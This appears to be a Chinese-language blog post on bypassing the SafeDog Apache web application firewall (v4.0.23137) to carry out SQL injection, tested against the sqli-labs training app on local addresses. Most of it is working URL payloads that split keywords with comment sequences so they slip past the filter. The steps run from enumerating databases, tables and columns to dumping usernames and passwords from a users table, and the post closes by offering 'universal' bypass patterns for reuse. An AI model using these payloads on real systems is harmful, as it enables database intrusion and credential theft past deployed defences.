【Bypass】安全狗apache V4.0.23137 SQL注入绕过

简介: 【Bypass】安全狗apache V4.0.23137 SQL注入绕过

1. 版本


当前版本是最新版安全狗 主程序版本号为:v4.0.23137

上一次的版本为 主程序版本号为:v4.0.26655

所以这次已经对安全狗进行了升级。


2. 开始绕


按照ling老板的笔记,继续:

关键:/*//------/*/
安全狗 order by 绕过id=1%27%20order%20/*//------/*/--+%20%0Aby%203--+s
精简版:id=1%27%20order%20/*//--/*/by%203--+
过union select -1%27%20union%20/*//--/*/select%201,2,3--+
过关键字database:d=-1%27%20union%20/*//--/*/select%201,database/*//--/*/(),3--+
测试:http://127.0.0.1/sqli/Less-1/?id=-1'union%20/*//--/*/select%201,2,concat(schema_name) from /*/--/information_/schema.--/*/schemata--+*/%23
http://10.0.66.157/sqli/Less-1/?id=-1'union%20/*//--/*/select%201,2,concat(username) from /*/--/information_/schema.--/*/users--+*/%23
http://10.0.66.157/sqli/Less-1/?id=-1'union%20/*//--/*/select%201,2,concat(username) from /*/--/*/users--+*/%23
单独的from 不拦截 schema.schemata也不拦截, information_schema拦截,from information拦截,from/*//--/*/information不拦截
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查字段:select column_name from information_schema.columns where table_name='users'
查字段的值:select username,password from security.users

ling老板口算一个字符,非常重要%20/*//--/*/接下来的操作都是在此基础上实现的。

2.1 order by 语句


http://192.168.127.131/sqli/Less-1/?id=1' order by 1 --+ 拦截

http://192.168.127.131/sqli/Less-1/?id=1' order /*//--/*/ by 121 --+  bypass成功


2.2  union select语句


http://192.168.127.131/sqli/Less-1/?id=1' union /*//--/*/ select 1,2, 3 --+ 绕过

http://192.168.127.131/sqli/Less-1/?id=1' union /*//--/*/   /*!--+/*%0aselect/*!1,2,3*/ --+ 同样可以绕过


2.3 database()关键字


http://192.168.127.131/sqli/Less-1/?id=1' union /*//--/*/ select 1,2, database() --+   拦截

http://192.168.127.131/sqli/Less-1/?id=-1' union /*//--/*/     /*!--+/*%0aselect/*!1,2,*/database /*//--/*/ ()  --+  正常

image.png


2.4 获取其他的库


http://192.168.127.131/sqli/Less-1/?id=-1'  union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.schemata --+拦截


这里经过多次fuzz,后来发现狗狗对information_schema.schemata 拦截比较厉害,

http://192.168.127.131/sqli/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.  /*//--/*/ schemata --+ 还是被拦截

那在这里还是无法绕过,在这里就使用以前的一个%0a试试

/*!06447%23%0afrom*/

因此在这里可以使用

http://192.168.127.131/sqli/Less-1/?id=-1'   union   /*//--/*/ select 1,2, group_concat(schema_name)    /*!from*/    /*!--+/*%0ainformation_schema./*!schemata*/ --+

当然,在上次发的教程中,上面的那个被拦截了,但是在这更新之后,并未进行拦截,所以以前的方法在这里也可以使用union select  1,2,3 转换为: union /*!--+/*%0aselect/*!1,2,*/3

http://192.168.127.131/sqli/Less-1/?id=-1'   union   /*!--+/*%0aselect/*!1,2,*/  group_concat(schema_name)    /*!from*/    /*!--+/*%0ainformation_schema./*!schemata*/ --+


2.5 一次性获取所有的表


http://192.168.127.131/sqli/Less-1/?id=-1'   union /*!--+/*%0aselect/*!1,2,*/  group_concat(table_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='security' --+

2.6 一次性获取所有的字段


http://192.168.127.131/sqli/Less-1/?id=-1'  union /*!--+/*%0aselect/*!1,2,*/  group_concat(column_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

e5821c309be4146c06e15c80ff9069e6.png


2.7 一次性获取字段里面的值

http://192.168.127.131/sqli/Less-1/?id=-1'  union /*!--+/*%0aselect/*!1,2,*/  group_concat(concat_ws(0x7e,username, password))     /*!from*/    security.users --+

61b77df630a191b3324faca92d8d38d1.png


3. 总结


这个和上次的绕过相比较,更加简单了,万能的绕过方法依旧可以使用 这里比较重要的点:

万能符号:union select  --> union/*//--/*/select

union select 1,2,3  -->  union /*!--+/*%0aselect/*!1,2,*/ 3

不过从版本上看,好像还是没变的

相关文章
|
3天前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
12 0
|
4天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
14 0
|
7天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 参数详解
SQL 注入神器:SQLMap 参数详解
|
12天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
25 0
|
13天前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
13天前
|
SQL 存储 安全
|
13天前
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
13天前
|
SQL Oracle 关系型数据库
利用 SQL 注入提取数据方法总结
利用 SQL 注入提取数据方法总结
|
13天前
|
SQL 关系型数据库 MySQL
利用 SQL 注入识别数据库方法总结
利用 SQL 注入识别数据库方法总结
|
13天前
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程

推荐镜像

更多